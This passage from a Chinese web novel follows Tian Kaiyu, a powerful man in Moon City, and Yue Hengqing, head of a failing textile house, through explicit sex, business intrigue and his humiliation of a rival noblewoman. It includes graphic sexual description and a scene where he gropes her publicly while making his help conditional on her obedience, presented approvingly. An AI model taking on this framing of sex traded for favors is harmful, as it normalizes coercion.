在这间房里,没有任何的窥视装置--四周墙壁上甚至连提供感应透视的介质都没有。这足以看出刀夺烽根本不想--也许是不敢--在这方面动什么手脚,而是一心一意地讨好他。
--真想不到,这个表面高贵典雅的美妇人在床上的表现居然如此多情炽烈,简直比雪儿还要疯狂……天开语在心中满意地轻叹了一声。
这时,身边传来了,一直静静地躺着的月恒清的声音:“……我们不会有结果的,对吗?”那声音竟含有浓浓的悲伤!天开语登时一惊,忙睁开眼睛看她时,却见不知从什么时候起,月恒清的眼睛已经睁开了,美丽的脸庞正无声无息地流淌着晶莹的泪水。
天开语倒吸了一口凉气,忍不住愕然道:“为什么?”说着忙支起身子,一把将月恒清的胴体紧紧地拥进怀里,低头在她的秀发上用力亲吻着。
只听月恒清轻轻地叹了口气,然后推开他,坐起身来,默默地斜倚着靠枕,低着头,却不说什么,只是不停地把玩手指上的一枚戒指。天开语呆呆地看了她一会,目光不知所措地转到月恒清正在把玩着的手指上。
看到那戒指的独特形状,天开语先是一震,随即恍然大悟--原来如此!
他注意到月恒清指间的那枚戒指的造型,实在不太适合一个女孩子纤细的手指。这戒指不但外型粗犷,而且设计古老,戴在她纤长柔细的指上,不似装饰,倒像是一种象徵。这使天开语立刻想起了前一次聚会时有人对月恒清的称呼--“月家主”。
这意味着,月恒清在某个集团中的身份相当的特殊,而且因为这团体中的某些限制,并非是普通男人都可以接近的,所以她才会说出那样伤感的话来。
虽然明白了月恒清为什么这样说,但是天开语对此却无话可说。
非是他不喜欢月恒清,而是他深深地知道,一旦男女感情受到外力、特别是某种势力的干扰,那将会是件很麻烦的事情--当然他自信有足够的力量可以去争取和保护自己喜爱的女人,但这将会花费很大的精力和时间。相比月恒清,之前进入她今生生命的女人,无一不是因两情相悦而结合的,原因和结果都十分简单。
轻轻叹了口气,天开语决定,对于同月恒清的关系,目前实在是不宜过于急噪冒进。一切还是看事态的发展。如果两人真的有缘分,月恒清与自己真的相爱至深的话,那么将来无论遇到多么大的阻力和风险,自己也将竭力承担!
当然,眼前二人的感情绝谈不上什么至死不渝。毕竟,在二人的交往中,情欲的成分占了很大的比重。
“恒清虽然身份特殊,受到某种约束,但凡事只要是人做的,就总会有转机--一切就看将来吧,或许你我真的有机会在一起呢!”天开语笑着将月恒清重新搂进怀里,伏下头去,深深地吻了吻她宝石般红润艳丽的乳头。
月恒清的眼睛登时发亮,娇躯也再次颤抖起来,呻吟道:“你……你说的是真的吗?噢--你的嘴……”
天开语笑笑抬起头来,改在她的唇上吻了一下,望着她闪亮的美眸,重重点点头道:“当然。不过首先我想我们应该互相了解一下。我希望下回我们做这种事情的时候,不是在这种地方。”月恒清脸上再次升起红晕,羞涩地垂下眼帘,点了点头。
“是上回那男生弄得你舒服呢?还是我这次做得好?”天开语忽涎着脸凑了上去,将月恒清重新压倒在了身下。
月恒清顿时大羞,闭眸拼命摇头道:“不知道不知道……你好坏,问人家这种问题……”说时雪白的肌肤早不克自持地泛起了一层薄薄的玫瑰红潮。
“是吗?是记不得了吗?那好,让我再提醒你一下--”邪邪地笑说着,天开语猛然虎躯一挺,彻底地贯穿了身下的妖娆!
“啊--你……天哪你又……噢--你是最棒的……”月恒清先哽了一下,随后便禁不住巨大的快感而失声尖叫了出来。
在同一幢建筑的另一间密室里,焚衣色和刀夺烽一坐一站寂静无声。良久。
焚衣色轻轻吁了口气,站了起来,说道:“时间差不多了,该继续下去新的游戏了。”
刀夺烽点点头,应道:“希望今天的安排能够使他倾向我们。”
焚衣色毫无表情地摇了摇头,道:“不要想那么多。很多事情我们只能做,而不可以猜测未来。未来究竟会是怎么样,没有人会知道。”说到这里,他脸上突然现出浓重的疲倦,轻轻用几乎听不见的声音低语了一句:“就像这个天开语……莫名其妙的介入一样……”
第三部燃情魔域第二册别离依依第一章刀夺烽
天开语挽着月恒清从温柔窝里出来时,那些风流快活的权贵们也正好先后从各自的小门走出。
打听昏暗的灯光下,每个人的形象都朦朦胧胧的,不过天开语的尖锐目力却看得清清楚楚,这些人的脸上都流露出宣泄后满足的疲倦。
天开语注意到,除了他和月恒清,那些男男女女们都保持着易改过的妆容。出了门之后,他们便三三两两地朝更衣室走去,显然是准备改回原来的面貌。
在大厅仅剩下天开语和月恒清时,刀夺烽悄无声息地从黑暗的一角走了出来,恭恭敬敬地迎向天开语。
这时大厅里悠扬的音乐声逐渐生起,灯光也渐渐转明,刀夺烽走到天开语的面前时,灯光正好达至最佳照度,变得明亮而不失柔和。
“先生、夫人,请到那里上坐。”刀夺烽的语气神态显得谦和而恭敬,这令月恒清不禁微微一愣--要知道以刀夺烽在月亮城的身份,从来没有对哪个外来的客人刻意表现出明显的恭谦,即便是以她一个“家主”的尊贵名声。
目光怀疑地转向天开语,月恒清心中不由得“咯噔”一下:难道这刀夺烽的举动是针对天开语的吗?
不由她细想,天开语已经亲热地挽着她胳膊跟着前面带路的刀夺烽走了。
“恒清,你同月亮城有什么事物来往吗?”天开语边走边轻声问道。
“哦,这个……”月恒清迟疑了一下,似乎在考虑该告诉身边这仅仅有过一次合体之缘的男人。
“月家主不必避讳天先生。”刀夺烽在前面略略转身笑道:“天先生在我们月亮城的地位非同等闲--这么说吧,凡是衣色将军过问的事情,天先生都有绝对的权利处理。”
月恒清登时吃了一惊!
--什么?这天开语在月亮城居然有如此的地位权势?要知道,在离字凄大老复出之前,衣色将军可是权倾月亮城,乃是公认的与翡将军齐名的一方枭雄!可是现在听刀夺烽的意思,似乎天开语比衣色将军的权柄还重要,这究竟是怎么回事呢?
“刀将军说笑了,开语哪里有这么能干啊。呵呵,抬举,实在是太抬举了!”天开语语气随便地笑说着,温柔地搀扶月恒清坐下。转身对刀夺烽又谦让道:“其实刀将军才是月亮城未来的中流砥柱--如此年轻有为,又历练严谨,可比我这种散漫惯了的人要强得太多喽!”
月恒清看看刀夺烽,只见他在天开语说过那番话后,神态竟越发地显得恭敬而谦卑,似乎对天开语极为忌惮一样,不禁对两人的关系愈感迷惑了。
天开语侧身从旁边的“血痕冰晶果”盘中拈起一枚晶莹剔透的果子放进嘴里,随手挥了挥,道:“刀将军去忙自己的吧,还有人在等你去招呼呢。不用在这里陪我的。”
月恒清的心里又是重重一跳!
这天开语的话说得也未免太过自我了一些,竟不说是“陪我们”而说“陪我”!
这足以证明,在他的身上,肯定隐藏着一个极大的隐秘!而不是像他上次说的那样简单,是个什么区区的医者。
“开语……”望着刀夺烽的背影离去,月恒清轻轻叫了一声,却又停了下来,似乎在斟酌该说什么。过了片刻,她终于继续开口了:“你真的……呃,像刀将军说的那样吗?”
天开语耸了耸肩,不以为然地道:“怎么,这很重要吗?其实也没有什么的,只不过是我救了离字凄大老的命,所以大老就以月亮城的全部来回报我--哦,其实我并不在乎这些东西的。只不过拥有这一切后,在月亮城行事的确方便了许多。”
月恒清不由得倒吸了一口冷气!
这个天开语果真有一套!
看来他自称“医者”,并未说谎。只是他这个“医者”,也未免能耐太大了点,甚至大到能够获得整个月亮城的地步!
不过虽然得到天开语这样的回答,内心也着实震惊不已,月恒清仍未能完全相信他所说的话。但在眼前刀夺烽格外特别的表现下,即便天开语所说非是全部属实,其分量也足够她说出自己在月亮城的有关事情了。
“既然这样,那么开语……哦不,应该称您‘天先生’--能否帮助恒清打通一些关节呢?”月恒清花容绽笑的略微向天开语倾斜娇躯,试探着说出自己的要求。
天开语心中立时轻叹一声。
这月恒清毕竟身份不同,稍微一有机会,便暴露出了生意人的本色。这点与雅儿、雪儿等诸女实在有着很大的区别。
“当然可以。不过我也有两个前提:一个是不能损害到月亮城的利益;二是与相同的竞争对手处在同一起点上公平竞争。”天开语淡淡地回应道。对于谈生意,恐怕这个世界上没有任何一个人的惊讶比他这个跨世代的“另类”更加丰富了。
月恒清登时一滞。她万万没想到天开语身为一介医者,却对利益上的事情也分辨的那么清楚!
而且仅仅简单的两点意见,便将她走快捷方式的意图堵得没有一丝通融的余地!
这实在是大大出乎她的意料。
“先生这么说,分明就是不想帮恒清这个忙了,不是吗?”月恒清不禁有些怨怼地冲口而说道。
天开语淡淡一笑,摆摆手道:“恒清这么快就生分了?你不用叫我先生的。”
月恒清没想到天开语一下便抓住了她话中的语病,登时脸儿一红,低了头不再做声了。
天开语轻轻拈起一棵“血痕冰晶果”,放在眼前观赏把玩着,说道:“帮忙是帮忙,作弊是作弊。在任何一个游戏中都存在帮忙和作弊两种运作方式。只不过我的理解,恒清好象更加趋向于要我作弊吧!”不等月恒清辩解,他一摆手道:“其实从月亮城的角度来说,只要我介入,那么即便我不想作弊,恐怕也是不可能的,你应该懂得我的意思。”看着月恒清张口结舌的样子,天开语微笑着将手中的“血痕冰晶果”轻轻送入她的小嘴中,叹息道:“我只是要你尽量不要做得太过分而已。”
月恒清终于长长地舒了一口气。
--原来这个家伙是吓唬自己的呀!
她终于明白了天开语的意思:不错,如果天开语真的在月亮城有极大的权势--那种足以与衣色将军相抗衡的权势的话,那么任何事情根本无需他亲自出马,只消对人说出“某某某我认识,希望你们帮忙办理一下”之类的话,便一切皆可畅行无阻,她根本不用担心的啊!这种人际间微妙的关系,即使是从旧元世纪延伸到新元世纪,人类社会都未曾有过丝毫的改变。
“那……恒清就谢谢你啦!”月恒清发自内心的感谢道。的确,上回有一批单子直到现在还卡在月亮城的一个部门未批下来,有天开语这句话,这件事情便能成了。
“不用这么客气,刚才你不是已经谢过了吗?”天开语促狭地相月恒清眨眨眼,低声调笑道。
“哦开语你……”月恒清登时俏脸晕红一片,美眸也变得水汪汪的充满了风情,直看得天开语食指大动。
“他们又下去跳舞了,怎么样,愿意赏光再来一曲吗?”天开语从座位上站起身来,伸手相月恒清邀请道。
其实此时舞池里的人并不多,已经休息过的宾客们虽早已陆续回来,但也仅有三、四对共舞而已,更多的人只是坐在周围谈话小吃。
不过既然天开语有请,月恒清自是不便推托,便欣然点头应允,搭着他的臂膀走下舞池。
“我来自缔造‘天工织物’的‘天工世家’,开语听说过吗?”缓换地走着舞步,月恒清轻柔地对天开语说道。
天开语一怔,点头道:“当然,当然知道。”
他的确知道这“天工织物”,也知道“天工世家”。因为这个“天工织物”乃是他那“金粉世家”的一个重要合作伙伴,是个垄断了纺织业的超级财阀,与另一个实力相当的“罗衣风情”是冤家对头。不过对于“金粉世家”来说,只要获益相当,倒也无所谓与谁合作,只是相对来说,同“天工织物”的合作比例要大得多--也许是大家同在东熠大陆的缘故吧,沟通往来之间多少要方便一些。
想不到这个月恒清这么年轻,居然就已经是“天工世家”的家主,看起来她必有过人之处,自己在应对之间倒是要打起几分精神了……
“我来月亮城,就是要在这里建立一个中心,只可惜申请的规模太大,受到了限制……”月恒清主动贴近天开语,将酥胸压在天开语的胸膛上,声音愈发地低小,显然是不想让更多的人听见。
“哦?”天开语不解的问道:“难道你们没有在月亮城设点吗?”
“有,当然有!只不过我们刚开始在这里设置机构的时候,没有想到月亮城的业务吞吐量有如此之大,所以机构仅设置得与别处相当--现在看来,这实在是一个重大的失误,所以我们才会不遗余力的想在这里扩大规模……不过太难了,有另一家已经提前介入了,并且以丰厚的利益得到了月亮城高层的支持,获得了垄断市场的特许证明。这样一来,任何人想在进来,抑或是扩大规模,都首先得问问那特许证明中的条款是否许可。”停了一下,月恒清苦笑了笑,垂头道:“我们显然是不符合条款的,所以事情到现在都没有办下来。”
天开语点点头表示明白。
的确,对于一个财阀来说,如果能够预知某处市场的发展,而且想在未来竞争中获得巨大的利益的话,其最简单而有效的方法,便是与当地的军政部门协议,双方约定在一个固定的时间里,保证给予当地稳定的上升比例的丰厚利益的前提下,签定“市场专卖”特许证明,从而一法律的方式制约其他的竞争者介入。
天开语忽然灵机一动,想到一个可能性,便问月恒清道:“是否这就是你能够担任‘天工世家’家主的原因之一呢?”
月恒清娇躯一震,显然因天开语这冷不防的猜测吃了一惊,她遽然抬起美丽的大眼睛,惊讶地轻叫道:“呀!你怎么回知道的?”
天开语一笑,搂着他的腰肢转了一个花步,得意道:“那很好猜啊。以你的年龄,能够担任当起家主的重任,显然没有一定的实力是做不到的--如果我所料不错的话,是否‘天工织物’的运作产生了失误?”
天开语没有加重语气,是因为他知道无须言明,对方实际已经明白自己已经知道“天工织物”不仅仅是产生失误这么简单,而应该是出现了重大的问题这个事实。
从月恒清此次见面时的神情甚至可以推断出“天工织物”的这个问题可能已经影响到财阀的生死存亡!而月恒清此次到月亮城来,实在是有孤注一掷的意味。
“你……”月恒清无法再继续跳下去了,娇躯因震惊而剧烈颤抖,一时脸上血色尽失,一双眸子睁得无可再大,只是死死地盯着天开语的眼睛,十指似乎要抠进天开语的肉里一般地紧紧攥着。
天开语暗叹一声,潜运内力将月恒清十指震开,双臂不再保持舞姿是的姿态,而是饶到月恒清的背后,将她搂进怀里。
“你们是不是跟‘金粉世家’签有长期合作的协议吗?难道他们的市场还不够你们维持正常运转的吗?”天开语说着,目光转向一直在远处关注自己的刀夺烽,然后抬眼看了看头顶。刀夺烽立刻会意地点了点头。不知他做了些什么,大厅里的灯光很快再次暗了下来,令整个舞池出现一种梦幻般的幽幽色调。
“是的,可是……”月恒清至此彻底撤去所有防线。她实在搞不明白,眼前的这个男人究竟是从哪里来的,素未平生下,他怎么会知道自己这么多的事情,而且都是重要的秘密。她甚至产生出一种自己只有与他坦诚交流,才会轻松一些的感觉。
“说吧,说给我听听,也许我会有办法帮你呢?”天开语温柔地说着,一只手紧紧搂着月恒清的纤腰,另一只手则充满爱怜地抚摸着她披垂的秀发。
“唔……”月恒清陶醉地呻吟了一声,情不自禁地将身体更加紧密地猬近天开语的胸怀。略略整理了一下思路,轻轻地说道:“我们与‘金粉世家’的合作本来是很友好的。由于长期亲密无间的配合,我们不但将‘金粉世家’看作最好的伙伴,也当作可以依赖的靠山。可是……”停了一下,月恒清将脸在天开语胸前贴了贴,继续说道:“五年前,不知为什么,‘金粉世家’突然做出大幅度降低与‘天工织物’交易量的决定,并转向和另一家跟我们一直有着强大竞争的对手合作……从那时起,‘天工织物’便元气大伤,一直处于小副回升,大副下跌的态势,直到今天……”月恒清说到最后,声音中已经隐隐带着哽咽。
“你们怎么能在一棵树上吊死呢?”天开语忍不住责备了一句,旋既又想起一事,便皱眉道:“不对呀,据我所知,当年的‘金粉世家’与‘天工织物’签定的协议是任何人不得擅自更改的啊--好象协议是当年两家最高首脑签定的,期限很长,嗯……应该足足有……反正绝不会在五年前就失效的--他们怎么可以再与另一家合作呢?”天开语心中暗叫好险:差点就将当年协议的细节说出来了,还好及时打住,若是清楚地将合约中约定的年限准确的说出,要不让月恒清怀疑恐怕也难了。
饶是如此,他还是感觉到怀中的柔软胴体猛烈地震动了一下。
“什么?你也这么说?你……你究竟是什么人?怎么这种事情你也知道?”月恒清再也无法抑制内心的惊骇,从天开语胸前一下抬起头来,目光一瞬不瞬地紧盯着天开语的脸,仿佛要从那里找出答案似的。
望着女人那美丽的眼眸在幽暗的光线下闪烁着激动的光芒,天开语叹了口气,低头在月恒清的唇上柔柔地亲了一下,苦笑道:“我知道的事情还多着呐,又何止你月家主那点呢?对了,现在是我在问你,你不要打岔--你只要记住,我会帮你,这就足够了!”说毕目光看旁边无人注意,便偷偷地将一只手移到月恒清的胸前,握住她一只丰腴的乳房使劲揉了几把,又在那硬起的凸点上轻佻地捏了捏,附耳警告道:“你最好乖乖的,不然可不要怪我不帮你哦?”
月恒清突然遭他的色手轻薄,登时呼吸急促起来,脸上也一阵阵地发热。娇躯战栗下,只得哽咽道:“嗯……好,恒清听你的……”说完整个人再也无法支撑下去,软软地伏在了天开语的胸前。
天开语抽出手来重新将月恒清搂住,温柔道:“这就对了。”俯首吻了吻她的秀发,轻轻道:“难道那原始的文件也可以随意篡改的吗?”在他的记忆中,所有由他一手签发的文件,都是最重要的,都被以最完善的方式保存下来,如有任何篡改,都是不可能的。
“问题就出在这里。”月恒清终于忍不住抽泣起来,难过地哭诉道。
“怎么说?”天开语皱了皱眉,不解道。
“我们一开始也是想据理力争,可是谁也不知道等我们去取原始文件时,却发现我们的那份已经不知什么原因,竟然损坏了,而且是那种无法修复的损坏,里面的资料根本无法救回……”月恒清气愤地说道。
“那‘金粉世家’不也有一份档案的吗?依照法律,他们应该有义务取出来核对的呀!”天开语隐隐觉得这事情已经不那么简单了。
“不错,话是这么讲的。可是当我们要求核对时,他们却取出了一份内容与我们从前拥有的不一样的合约!在那份合约里,合作的期限居然早在当时的前一年就已经到期了!”月恒清的诉说又有了悲泣的声音。
“什么?”天开语登时大吃一惊!
--这太不可思议了!
“那么你们有没有验证过那个用来鉴证的信息签章呢?”天开语沉声追问道。
不过他知道,既然有人存心做手脚,这信息签章只怕也有问题了。
果然,只听月恒清泣道:“这个当然是肯定的。只是他们说,因为当时签定这份合约的财阀主席早已经不在人世,因此机构也只能凭籍‘金粉世家’的公签来判定事情了……”
天开语长叹一声:“所以你们就不得不被迫退出了与‘金粉世家’的合作,是吗?”
月恒清在他怀里点了点头,接着哭诉道:“不但如此,由于我们失去了与最大的‘金粉世家’的合作,商誉上也不可避免地遭受到沉重的打击,因此在以后的时常方面就开始节节退缩,以至于到了今天这种局面……”
天开语皱眉道:“所以‘天工世家’就重新进行家主的改:并期望新的家主能够令整个世家重新振作起来--你到月亮城来,其实也是想寻找一个突破口,对吗?”
月恒清无力地点了点头,抬起满是泪痕的脸,望着天开语抽咽道:“不这么做又怎么办呢?可是你知道吗?就在前不久,我却被人抛弃了……”
天开语知道她说的是与共同生活了五年的丈夫解除婚约的事情,便点了点头表示明白。
“在昨天我才知道,不但如此,他甚至还带着我们‘天工织物’的部分秘密图样去投靠……”哽咽一声,月恒清再也无说下去了,重新伏在天开语的胸前泣不成声。
天开语登时勃然大怒!
那个混蛋东西,竟然做出那样没有人性的事情来!
无法共同生活下去,两人便分手,这本是男女间无可厚非的事情。可是如果这其中搀杂着别的目的,尤其是刻意的伤害的意图,便天理难容了!
虽然月恒清没有说出那“另一家”是谁,天开语也几乎可以肯定,那必是“天工织物”的死对头--“罗衣风情”!
“他们不是一直都以占领西星的市场为主的吗?怎么会突然手伸得那么长,来抢别人的饭碗了。”天开语阴沉着脸道。他有意将话题转开,好让月恒清的情绪得到调整。
“你怎么又……天哪,你难道真的是什么都知道吗?”天开语随口一句话,便令月恒清再次震惊无比。到目前为止,她都未说出那个令‘天工织物’濒临绝境的是哪一家财阀,可是天开语话里的意思,却分明已经知道了一切!
“嘿嘿……”天开语悻悻地摇了摇头,苦笑道:“那倒不一定,只是……有些事情不是你想象得的那样简单罢了--恰好,关于‘金粉世家’的事情,我知道得比较全面。”
月恒清已经是惊讶得不住矫舌摇头了:“真的很难想象,你只是一名医者。”再次仔细地大量了天开语一番,她又道:“不过想想连离字凄大老都对你另眼相待,这似乎又不怎么奇怪了--唔,现在我已经完全相信刀夺烽说的话了,你的确在月亮城有很大的权威!”
天开语又气有又好笑地轻捏了下她腰间的嫩肉,忍不住笑骂道:“怎么,我看上去像那种吹牛的人吗?居然这样说话!”
月恒清感受到天开语对她发自内心的温情关心,先是脸儿一红,紧跟着眼圈也红了起来,对天开语哽咽道:“如果先生能帮助恒清的话,那么即便是要恒清一辈子做奴隶服侍,恒清也绝无半句怨言--恒清在这里代表整个‘天工世家’先感谢先生的大恩!”说着月恒清便身子一沉,竟作势要跪拜了!
天开语连忙一把将她报住,不悦道:“你这是做什么?在这种场合,你这样做合适吗?再说了,我前面不是已经说过,你刚才已经以实际行动谢过了,不用再客气的,怎么你望忘了吗?”
月恒清闻言感动得热泪在眼眶中直打转。望着天开语健伟的身形,恍惚间她觉得面前的男人简直就是天上专门派下来拯救她和她世家的救星!一时激动下竟嗫嚅着说不出话来。待蓄满眼眶的泪水终于滚滚而下时,她才哽咽道:“先生,以后恒清就是您的人了,无论今后在何时何地,无论您要恒清做任何事情--即便是要恒清的生命,恒清也将毫不犹豫地为您奉献……”话未说完,她再也无法抑制自己的感情的喷薄,一头扑进天开语的怀里失声痛哭起来。
在这一刻,她不再是一个世家的家主,而只是一个肩扛重任、亟需找到一个依靠的柔弱女子。
天开语不禁感到汗颜。
想到自己是透过这种方式来获得一个女人的青睐,他便有些心虚。
尤其是目前自己什么还什么都没有为伊人做的时候,却已经得到了她的全部信任、这实在是有些过分了。
不过他完全能够理解月恒清此时的心理。
在被家族的重重困难压得喘不过气来的时候、在遭遇到共同生活的伴侣背叛的时候、在周围充满可功利的目光而没有一双温情之手伸出的时候,自己的出现,的确是她的一根救命稻草--不对,应该说是渡航方舟才是,自己这样的人可不是用什么“小草”之类适合比喻的。
--看来月恒清的事情,自己是非帮不可了,否则不但有负佳人重托,更会令自己内心不安--妈的,自己什么时候起居然也会变得缠缠绵绵优柔寡断了呢?真是的……
“好吧,恒清你的事情我帮定了--不过你可不可以不要叫我先生?叫点好听的麻!”天开语一旦决定做一件事情,第一要的便是轻松的心情,故此他才恢复了无赖调侃的语气。
“那……你想要恒清叫什么呢?叫什么,恒清都……都愿意的……”想到世家振兴有望,月恒清的心情既兴奋,又有些羞赧--因为她知道从现在起,自己便必须遵守诺言,任由面前的男人攫取自己的一切了。
“嘿嘿,是啊,叫什么呢?叫什么呢……”天开语边挑逗地看着月恒清羞红的脸,边嘴里无意识地念叨道。片刻之后,他突然想起了什么,登时眼睛一亮,不怀好意地凑近了月恒清的嫩耳,低声道:“对了,我想起来了,好像在你们‘天工世家’里,女人都叫男人‘大’的,对吗?”
月恒清登时连整只雪白的脖颈都红了,脸儿更是热得发烫,只得以几乎听不见的声音应道:“嗯……是……‘大’……”
天开语一乐,便索性得寸进尺道:“那可不行,我怎么也要比你们世家里的男人要强得多了,怎么能跟他们一般称呼呢?”
月恒清一呆,忍不住疑惑地抬眼看他一眼,道:“那……怎么叫呢?”
天开语忍住心中的浓浓笑意,故作郑重地道:“怎么也要比那个强--这样吧,就叫‘大大’好不好?”
月恒清登时一愣,随即本能地轻轻念叫两声:“大大……大大……”
天开语忙不迭声地应道:“唉,真乖,大大喜欢恒清呢!”说着不待月恒清反映过来,便一把将她紧紧搂进了怀里……
灯光重新放明时,天开语已经携月恒清回到了座位上。
刀夺烽立即迎上前来问候。
“先生,还有什么吩咐的么?”刀夺烽心了很清楚,这天开语天先生之所以指定今晚的聚会要与前次一模一样,恐怕决非是为了这个形势已呈日薄西山的“天工世家”的家主,尽管她长得很漂亮。
“没什么……哦,对了,刀将军,刚才跳舞时,月家主说,他们有一个申请至今还没有批下来,有这回事吗?”天开语似随口一句地问道。
刀夺烽心中立时“咯噔”一记。
--想不到最怕还是来了!
“呃……是的,不过既然先生您过问,这事情就好办多了--夺锋这就去把有关文件取来。”刀夺烽面上不露一丝的内心反映,闻言立既恭声答道。
月恒清登时面露喜色!想不到居然效果奇佳--果如天开语所说的,仅仅开了下口,一直难办的事情便有了起色!
不料天开语却摇了摇头,抬手制止刀夺烽道:“刀将军不必了,开语非是那种不识轻重的人,这种事情如果传了出去,会对整个月亮城的声誉造成极坏的负面影响。”天开语有意不去看月恒清遽变的样子,他继续道:“我说出这件事情,只是希望你们以后能一如既往地坚持原则,一切以月亮城的大局为重,不要因为某个人的权威势重而有所偏颇。”
刀夺烽在听到天开语的前半句话时,心里一下轻松,想到终于不必去做那麻烦的事情了;待听到他全部说完后却着实大为惊讶!
天开语这话的用意已经十分的明显:以他天开语这样的地位都不去以权谋私,那么如果今后月亮城任何胆敢籍权谋私的话,其下场将可以预料到会是怎么样的!
其实从人类社会的进程来说,任何地方、任何时代,以权谋私的事情都是不可能杜绝的,目前繁荣兴盛的月亮城当然也不例外。
不去说每年各军政部门乃至掌握实权的个人以各种名义攫取实惠,便是这次籍月亮城大老诞选的巨大商机,他刀夺烽便在衣色将军的授意下暗中特别安排了几个平时最为“识相知趣”的商家去分享盛典中最为丰厚的部分大饼……
--这个天开语实在是不简单,居然这么快就将自己从一名医者转换到了“军政首脑”这个管理者的角色来!
刀夺烽不禁心中暗暗惊诧。当然,如果他知道天开语前世是什么人的话,想必就不会这么惊讶了。
“……夺锋一定牢牢记住天先生的教诲!请问先生还有什么吩咐吗?”刀夺烽尽量保持面色的正常,恭恭敬敬问道。
“没有了。对了,请你跟修善梧打个招呼,就说过一会儿我会去找他谈谈。”
天开语淡淡地挥退了刀夺烽,那神态举止充满了王者霸气,似乎他天生就该是领袖人物一般。那直呼修善梧名字的冷淡口气虽令刀夺烽嫉恨,但其举手投足流露出的泱泱气度仍叫他不得不为之心折。
一待刀夺烽离开,月恒清立刻发作出来。
“你不是答应我了吗?怎么又那样说话……你……”月恒清一脸气苦,那种神情委屈得简直似要哭出来一般。
“呵呵,我没说不帮你呀!”天开语笑了笑,故作不解道。
“那你为什么拒绝刀夺烽?”月恒清恨恨地瞪着天开语,心中直琢磨着是否要将手中的一枚“血痕冰晶果”向那张满是坏笑的脸上砸去!‘天开语耸了耸肩,主动伸出手去,从月恒清手中将那枚捏得有些皮破淌汁的晶果接了过来,一面笑道:“你不会是想用它来砸我吧?对了,我是说过帮你,但并没有说怎么帮呀!你说说,你究竟要我治标呢?还是治本呢?”
月恒清被他说得一愣,不解道:“什么治标治本?”
天开语先悠哉悠哉地闭着眼睛细细地品味着口中的晶果的甘冽,停了片刻后才睁开眼睛,望着月恒清气鼓鼓的脸蛋笑说道:“所谓治标,就是刚才那样,让刀夺烽给你破例打通关节--不过我以为这是最愚蠢的方法。这样做不但未必真的能令‘天工织物’重新振作,还会令月亮城的高层愈发地憎恶你们‘天工世家’的行事风格不够光明磊落。”
“那么什么是治本呢?”月恒清不得不承认天开语的分析有道理,便又追问一句,脸色当然也松缓了下来。
天开语对她的修养赞许地点点头,接着说道:“如果想要治本,那么便只有一种方法,就是从‘金粉世家’着手!”
月恒清先是一愣,随即明白过来天开语在说什么,登时惊得睁大了眼睛,小嘴也张成了一个可爱的圆形:“你想……”一根玉指愕然地指向天开语,惊讶得不知说什么才好!
“不错!”天开语含笑点头道:“只有将困扰你们的真正问题根源彻底解决了,‘天工织物’才有可能真正的恢复元气,也才能称得上帮你。”
月恒清呆呆地看着天开语,简直不敢相信自己的耳朵和眼睛。
--难道这个人真的是无所不能的吗?为什么他在谈这些事情的时候,语气是那么的轻松,神态是那般地充满了目空一切的自信?难道他真的是上天安排到人间,专门为了解决自己困难的吗?
见月恒清盯着自己不说话,天开语猜出她心里在想什么,便笑道:“别的事情或许我帮不上忙,但是关于‘金粉世家’的任何方面,我想我都可以为恒清做些事情的。好了,这件事情就这么说定了--哦,好像有人过来了。”说着他示意月恒清看看那个朝他二人走过来的是什么人。
月恒清转头看去时,登时脸色一变,目光中也立时射出深刻的仇恨来!
天开语一怔时,那个朝他们走过来的人--一个美貌的贵妇人--就是上趟聚会时借擦肩而过的机会讥讽月恒清的那个贵妇人已经走到二人的面前了。
“呦,怎么月家主还有空到这里来啊?是不是还想在月亮城抢我们的饭碗呢?”这贵妇人一开口便是冷嘲热讽的,不但听得月恒清脸色愈发苍白,就连天开语也是极不舒服!尤其是看到月恒清因那贵妇人恶毒的眼神而变得无比痛苦的神色,天开语终于愠怒了。
“你是什么人?好像我们并没有邀请你来参加与我们的谈话--真是个没有教养的东西!”天开语是何等样人,立时毫不客气地出口斥骂道,那言语中根本不留丝毫的颜面给对方,煞是恶毒得彻底。
果然,不但那贵妇人脸色大变,便是月恒清望着他的眼神也大为异样起来,显然是没有想到天开语居然会用这种“流氓”的语气对付那贵妇人。
“你你你!你说什么?你说谁没有教养……你你究竟是什么人?”那贵妇人满脸胀得通红,显然是被天开语的话激怒到了极点,一时说话竟有些语无伦次了。
“我说什么你心里清楚,难道还要我再说一遍吗?那好,你听清楚了--我说你是个‘没有教养的东西’!行了。如果你还没有听清楚的话,我还可以再说一遍的。”天开语冷然地斜视着那贵妇人道,毫不掩饰自己对她的极端轻蔑。
这时一直注意天开语动静的刀夺烽早已发现了这一幕,立即不顾举止是否符合身份,一个点跃便自舞池中间横掠了过来。
“先生,这是怎么回事?”脚尖刚一落地,刀夺烽便紧张地看看脸色不善的三人问道。
“刀将军,想不到在衣色将军邀请的聚会上,竟然会出现这种人……”那贵妇人气得声音直哆嗦道。此时她的脸色已经变得如同月恒清之前那般的毫无血色了。
只可惜她的诉说在刀夺烽面前根本没有引起一丁点的波澜。她发现,在自己说完后,刀夺烽竟似乎没有听到一样,仍是神情专注地望着眼前这个刚刚羞辱过自己的男人--这个家伙,居然还很悠闲地在吃着“血痕冰晶果”!
“刀将军,这个女人我很不喜欢。”天开语终于转过脸来,不过开口说出的话却很是不留余地。
刀夺烽忙凑近一点,神态愈发显得恭敬了。
“在我跟月家主说话的时候,她竟然不请自来地走过来打断我们--我很讨厌这种没有教养的行为。”停了一下,冷冷地瞥了一眼那贵妇人无比惊骇羞怒的脸,继续轻描淡写地说道:“我不管她是否在月亮城有没有生意,总之,从今往后,只要我在月亮城一天,就不希望再见到她!”说到后面时,天开语的语气陡然转厉,声音中针对刀夺烽所裹挟的凌厉真气更是震得他浑身都隐隐地发怵!
刀夺烽此时心中的惊骇绝不比那贵妇人少。
他万万想不到,这天开语竟然会用这种强烈的方式来警告自己!这不啻于告诉自己,如果再让这不知轻重的贵妇人出现在其的面前的话,那么等着他刀夺烽的,将会是一个悲惨的下场!
--这个可恨的傻女人究竟做了些什么?为何让这姓天的憎恨到如此地步?
刀夺烽按奈心头的震惊,立即躬身道:“是!夺烽知道了!”说毕竟马上转过身来,对那贵妇人道:“对不起,德妮芙夫人请您现在就随我离开这里!”
见那德妮芙夫人满脸惊怒,身子还是僵立不动,刀夺烽偷偷看了看天开语一眼,却见他又在若无其事地吃起晶果来,心中暗叹一声,只好一把将德妮芙夫人挽起,强行把她拉走。
一面走,一面低声对德妮芙夫人道:“这次夫人可是惹大麻烦了!您知道得罪的是什么人吗?是拥有月亮城全部权利的天先生!”
